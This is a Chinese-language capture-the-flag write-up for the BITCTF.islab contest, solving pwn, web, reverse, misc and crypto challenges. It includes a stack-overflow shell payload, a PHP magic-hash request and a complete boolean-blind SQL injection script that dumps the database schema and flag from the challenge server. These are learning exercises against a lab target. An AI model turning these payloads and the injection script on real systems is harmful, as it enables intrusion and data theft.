BITCTF.islab Writeup
0x0 前言
第一次參加 CTF,還是挺興奮的。
0x1 Pwn
0x10 Casino1.0
下載目標程式,IDA反編譯發現gets棧溢位漏洞,構造 payload 字串 print “A”*208
成功覆蓋指定變數,得到 flag1
0x11 Casino2.0
小遊戲中對於下注金額未做範圍檢驗,輸入 –1000 即可通過,得到 flag2
0x12 Casino3.0
發現程式給出了指向 system(“/bin/bash”)
的地址,exp.py 中構造 payload 字串 “A”*208 + p64(address+4)*10
即可獲取shell,cat f1ag 得到 flag3
0x13 Donate
不會做
0x2 Web
0x20 click me!
Console 構造與原函式相同函式,遞迴呼叫即可,得到 flag
0x21 easy sqli
nmap 即可脫庫,直接 select 得到 flag
0x22 easy php
構造請求 example.com/?a=240610708&b=QNKCDZO&c=php://input,請求體中為 waterquestion
即可得到 flag
0x23 easy flask
Console 截留請求,解析 flask session 即可獲得驗證碼明文,得到 flag,程式碼見下:
1 #!/usr/bin/env python32 import sys 3 import zlib 4 from base64 import b64decode 5 from flask.sessions import session_json_serializer 6 from itsdangerous import base64_decode 7 8 def decryption(payload): 9 payload, sig = payload.rsplit(b'.', 1) 10 payload, timestamp = payload.rsplit(b'.', 1) 11 12 decompress = False13 if payload.startswith(b'.'): 14 payload = payload[1:] 15 decompress = True 16 17 try: 18 payload = base64_decode(payload) 19 except Exception as e: 20 raise Exception('Could not base64 decode the payload because of ' 21 'an exception') 22 23 if decompress: 24 try: 25 payload = zlib.decompress(payload) 26 except Exception as e: 27 raise Exception('Could not zlib decompress the payload before ' 28 'decoding the payload') 29 30 return session_json_serializer.loads(payload) 31 32 if __name__ == '__main__': 33 print(decryption(sys.argv[1].encode()))
0x24 (not) easy sqli
布林盲注,正確返回TAT,錯誤返回QAQ, python 位運算即可獲取 flag,需要注意的是這裡使用了 varchar 儲存 utf-8 字串,所以直接獲取無效,使用 hex 函式轉換為16進位制即可,程式碼見下:
1 import requests 2 3 4 def getdb(): 5 result = "" 6 url_template = "http://islab.tk:11003/?id=1 and ascii(substr((select table_schema from information_schema.schemata limit {0},1),{1},1))%26{2}" 7 #chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 8 for k in range(0, 50): 9 print("record #" + str(k+1)) 10 result = "" 11 for i in range(50): 12 #print(i+1) 13 char_ascii = 0 14 for j in range(8): 15 url = url_template.format(k, i+1, 1<<j) 16 #print(url) 17 response = requests.get(url) 18 #print(response.text) 19 if "TAT" in response.text: 20 #print(1<<j) 21 char_ascii = char_ascii + (1<<j) 22 char = chr(char_ascii) 23 #print('"' + char + '": ' + str(char_ascii)) 24 result = result + char 25 if char_ascii == 0: 26 break; 27 print(result) 28 if result == "\0": 29 break; 30 31 32 def gettable(): 33 result = "" 34 url_template = "http://islab.tk:11003/?id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))%26{2}" 35 #chars = '0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' 36 for k in range(0, 50): 37 print("record #" + str(k+1)) 38 result = "" 39 for i in range(50): 40 #print(i+1) 41 char_ascii = 0 42 for j in range(8): 43 url = url_template.format(k, i+1, 1<<j) 44 #print(url) 45 response = requests.get(url) 46 #print(response.text) 47 if "TAT" in response.text: 48 #print(1<<j) 49 char_ascii = char_ascii + (1<<j) 50 char = chr(char_ascii) 51 #print('"' + char + '": ' + str(char_ascii)) 52 result = result + char 53 if char_ascii == 0: 54 break; 55 print(result) 56 if result == "\0": 57 break; 58 59 60 def getcolumn(): 61 result = "" 62 url_template = "http://islab.tk:11003/?id=1 and ascii(substr((select column_name from information_schema.columns where table_name='flag' and table_schema='islab' limit {0},1),{1},1))%26{2}" 63 64 for k in range(0, 50): 65 print("record #" + str(k+1)) 66 result = "" 67 for i in range(50): 68 #print(i+1) 69 char_ascii = 0 70 for j in range(8): 71 url = url_template.format(k, i+1, 1<<j) 72 #print(url) 73 response = requests.get(url) 74 #print(response.text) 75 if "TAT" in response.text: 76 #print(1<<j) 77 char_ascii = char_ascii + (1<<j) 78 char = chr(char_ascii) 79 #print('"' + char + '": ' + str(char_ascii)) 80 result = result + char 81 if char_ascii == 0: 82 break; 83 print(result) 84 if result == "\0": 85 break; 86 87 88 def getdata(): 89 result = "" 90 url_template = "http://islab.tk:11003/?id=1 and ascii(substr(hex((select flag from flag limit {0},1)),{1},1))%26{2}" 91 92 for k in range(50): 93 print("record #" + str(k+1)) 94 result = "" 95 for i in range(400): 96 #print(i+1) 97 char_ascii = 0 98 for j in range(8): 99 url = url_template.format(k, i+1, 1<<j) 100 #print(url) 101 response = requests.get(url) 102 #print(response.text) 103 if "TAT" in response.text: 104 #print(1<<j) 105 char_ascii = char_ascii + (1<<j) 106 char = chr(char_ascii) 107 #print('"' + char + '": ' + str(char_ascii)) 108 result = result + char 109 if char_ascii == 0: 110 break; 111 print(result) 112 if result == "\0": 113 break; 114 115 116 getdata()
0x25 master of php
不會做
0x3 Reverse
0x30 Guess my number
IDA 載入得到 key,直接輸入即可得到 flag
0x31 just try
IDA 載入發現 MD5,dump 出來發現是帶有星號的掩碼,python 爆破即可得到 flag,程式碼見下:
1 from hashlib import md5 2 3 s = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ" 4 s1 = "5173187b79435c8c" 5 s2 = "2fab0cf63dc7" 6 7 def check(stmp): 8 res = md5(stmp.encode()).hexdigest() 9 return res[0:len(s1)] + res[len(s1)+4:] == s1 + s2 10 11 rtmp = md5("1234".encode()).hexdigest() 12 print(rtmp) 13 print(rtmp[0:len(s1)]) 14 print(rtmp[len(s1)+4:]) 15 16 for i1 in range(62): 17 print(s[i1]) 18 for i2 in range(62): 19 for i3 in range(62): 20 for i4 in range(62): 21 snow = s[i1] + s[i2] + s[i3] + s[i4] 22 if check(snow): 23 print("Found: " + snow) 24 25 break
0x32 simple re
IDA 反編譯,然後直接寫出反向程式碼即可得到 flag,程式碼見下:
1 #include <stdio.h> 2 #include <stdlib.h> 3 #include <string.h> 4 5 char s[1000]; 6 char secret[100] = "fE}V1nc1ny3&r1egr&_.fp..h_ao{0_sal"; 7 int key[100] = {1, 6, 0x21, 0, 0x11, 0x12, 0x10, 0x0A, 3, 2, 0x0B, 0x0D, 0x14, 0x16, 0x0E, 8, 0x0F, 0x0C, 9, 0x1E, 0x17, 0x13, 0x20, 0x1F, 0x1A, 0x15, 0x1C, 4, 5, 7, 0x18, 0x19, 0x1B, 0x1D}; 8 9 char *__cdecl encode1(char *s) 10 { 11 int i; // [rsp+2Ch] [rbp-54h] 12 const char *sa; // [rsp+50h] [rbp-30h] 13 char *c; 14 15 sa = s; 16 c = (char *)malloc(35); 17 strcpy(c, sa); 18 /* 19 for ( i = 0; i < strlen(c); ++i ) 20 { 21 if ( c[i] <= 64 || c[i] > 90 ) 22 { 23 if ( c[i] > 96 && c[i] <= 122 ) 24 c[i] = (c[i] - 84) % 26 + 97; 25 } 26 else 27 { 28 c[i] = (c[i] - 52) % 26 + 65; 29 } 30 } 31 */ 32 33 for ( i = 0; i < strlen(c); ++i ) { 34 if ( c[i] < 65 || c[i] > 90 ) { // c[i] is not upper case 35 if ( c[i] >= 97 && c[i] <= 122 ) // c[i] is lower case 36 c[i] = (c[i] - 84) % 26 + 97; 37 } else { // c[i] is upper case 38 c[i] = (c[i] - 52) % 26 + 65; 39 } 40 } 41 42 puts(c); 43 return c; 44 } 45 46 char conv (char ch) { 47 char c; 48 c = ch; 49 if ( c < 65 || c > 90 ) { // c[i] is not upper case 50 if ( c >= 97 && c <= 122 ) // c[i] is lower case 51 c = (c - 84) % 26 + 97; 52 } else { // c[i] is upper case 53 c = (c - 52) % 26 + 65; 54 } 55 return c; 56 } 57 58 char inv_conv[256]; 59 60 char * decode1(char *raw) { 61 char *ret; 62 int i; 63 ret = (char *)malloc(35); 64 //strcpy(ret, raw); 65 66 for (i=0; i<256; ++i) 67 inv_conv[conv(i)] = i; 68 69 for (i=0; i<strlen(raw); ++i) 70 ret[i] = inv_conv[raw[i]]; 71 72 ret[strlen(raw)] = 0; 73 return ret; 74 } 75 76 char *__cdecl encode2(char *b) 77 { 78 char *v1; // rbx 79 int i; // [rsp+2Ch] [rbp-54h] 80 const char *ba; // [rsp+50h] [rbp-30h] 81 char *d; 82 83 ba = b; 84 d = (char *)malloc(35); 85 for ( i = 0; i < strlen(ba); ++i ) 86 d[i] = ba[key[i]]; 87 v1 = d; 88 v1[strlen(ba)] = 0; 89 return d; 90 } 91 92 char * decode2(char *raw) { 93 char *ret; 94 int i; 95 ret = (char *)malloc(35); 96 for ( i = 0; i < strlen(raw); ++i ) 97 ret[key[i]] = raw[i]; 98 ret[strlen(raw)] = 0; 99 return ret; 100 } 101 102 int __cdecl check(char *a) 103 { 104 char *v2; // rax 105 const char *x; // ST28_8 106 char *aa; // [rsp+40h] [rbp+10h] 107 108 aa = a; 109 if ( strlen(a) != 34 ) 110 return 0; 111 v2 = encode1(aa); 112 x = encode2(v2); 113 puts(x); 114 return strcmp(x, secret) == 0; 115 } 116 117 int __cdecl main(int argc, const char **argv, const char **envp) 118 { 119 char *p1, *p2; 120 p1 = decode2(secret); 121 printf("%s\n", p1); 122 p2 = decode1(p1); 123 printf("%s\n", p2); 124 125 printf("Please input your flag: "); 126 gets(s); 127 if ( check(s) != 0 ) 128 puts("Right!"); 129 else 130 puts("Wrong!"); 131 return 0; 132 }
0x4 Misc
0x40 簽到
略
0x41 fun with zip
有800層, python 解壓即可,最後一層有加密,密碼是群中某位學長的 QQ,即可得到 flag
0x42 miscxxx
忽略 zip 偽加密,解壓得到 jpg 圖片,binwalk 提取出 png,發現尺寸 CRC 校驗錯誤,把高度改為1000即可得到 flag
0x5 Crypto
0x51 baby rsa
yafu 分解質因數,直接計算RSA 私鑰即可得到 flag
0x52 fake rsa
RSA 在 e=2 時變為 Rabin 加密,直接計算即可得到 flag
0x53 guess
讀取 RSA 掩碼,爆破獲得 key,使用 1000 作為 magic_number,按數位分解即可獲得原陣列,輸入得到 flag